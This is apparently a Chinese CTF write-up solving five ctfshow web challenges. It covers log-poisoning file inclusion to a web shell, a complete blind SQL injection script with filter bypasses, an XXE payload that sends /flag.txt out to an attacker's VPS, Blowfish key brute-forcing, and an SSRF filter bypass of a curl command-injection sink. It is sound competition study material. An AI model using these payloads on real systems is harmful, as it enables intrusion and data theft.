前言

ctfshow举办的一次web AK赛,题目包含5到web题。

签到_观己

一道文件包含的题目,根据burp的头部信息确认是nginx,于是google一下常见的日志目录,最终在/var/log/ngnix/access.log中包含成

image.png

然后就是接下来的写shell,注意需要在burp中写,可以直接在url中写,也可以在ua中写,推荐在ua中写

image.png

拿到shell,读取flag

web2_观星

这题是一道sql注入的题目,过滤比较严格,下面直接附上脚本:

 '''
ctfshow sql 注入脚本
author:zerobs
'''

import requests,string

url = "http://cf74a888-2810-4ddd-b49c-e5240e787c92.chall.ctf.show/index.php?"
payload = "id=1/**/^/**/(ord(substr((select/**/database())from/**/{}/**/for/**/1))>{})"
# 表名:flag,page,user
payload1 = "id=1/**/^/**/(ord(substr((select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema/**/regexp/**/database())from/**/{}/**/for/**/1))/**/regexp/**/{})"
# 列名:flag,id,title.....
payload2 = "id=1/**/^/**/(ord(substr((select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema/**/regexp/**/database())from/**/{}/**/for/**/1))/**/regexp/**/{})"
#flag
payload3 = "id=1/**/^/**/(ord(substr((select/**/flag/**/from/**/flag)from/**/{}/**/for/**/1))/**/regexp/**/{})"
#flag  flag{5917a617-1529-4fc7-87c5-5aeab1af7812}
flag = ""
alpa = string.ascii_letters + string.digits+string.punctuation
for i in range(100):
    for char in alpa:
        url1=url+payload3.format(i,ord(char))
        # print(url)
        r= requests.get(url1)
        if "Kipling" not in r.text:
            flag=flag+char
            print(flag)
            break
        else:
            pass

最终得到flag

image.png

web4_观心

这题考点是xxe,首先源码中有提示flag在/flag.txt,后面记错了已知在读/flag。然后根据js发现有ajax请求api.php,于是抓包查看:

image.png

image.png

当我们没有填city的时候报错,推测考点xxe,然后测试api这个借口,发现必须是http(s)协议,而且必须包含.xml,于是利用思路:自己vps上构造恶意xml读取文件

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % s SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.txt">
<!ENTITY % dtd SYSTEM "http://yourvps//test.dtd">
%dtd;
]>
<roottag>&send;</roottag> 

test.dtd:

 <?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://yourvps/?%s;'>">
%all;

然后在日志中获得base64后的flag,解码即可。flag{81ce1089-d52d-48d5-8ca6-9cc32299763a}

web3_观图

首先根据它的解密方法来爆破key,用已知的image来进行爆破,然后找到一个解密为1.png,得到key。

<?php
$key = substr(md5('ctfshow'.rand()),3,8);
$image = "Z6Ilu83MIDw=";
// $str = openssl_decrypt($image, 'bf-ecb', $key);
// for ($i=1; $i<=100000; $i++)
// {
//     $key2 = substr(md5('ctfshow'.rand()),3,8);
//     $str = openssl_decrypt($image, 'bf-ecb', $key2);
//     echo $key2;
//     echo $str."\\";
// }
$key3 = "5a78dbb4";
$fag = openssl_encrypt("config.php",'bf-ecb',$key3);
echo $fag;
?>

首先爆破key,得到可以为5a78dbb4,然后访问即可得到flag,这里需要使用burp绕过js,浏览器中无法获得flag

image.png

观字术

题目直接给了源码:


<?php

#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
    $url = $_GET['url'];
    $protocol = substr($url, 0,7);
    if($protocol!='http://'){
        die('仅限http协议访问');
    }
    if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
        die('仅限域名地址访问');
    }
    system('curl '.$url);
}

过滤了一些常用的绕过ssrf的关键字,本来想用302跳转绕过,但是curl不能解析10或者16进制的ip,于是换了个思路,没有过滤句号,可以利用句号绕过。需要对。句号进行进行urlencode,这里踩了点坑,用的hackbar自带的url编码,导致没有做出来,最后在cx师傅的指点下换个地方编码做出来了!

url=http://192%E3%80%82168%E3%80%827%E3%80%8268/flag

最后得到flag。

image.png

Last modification:November 30th, 2020 at 11:04 am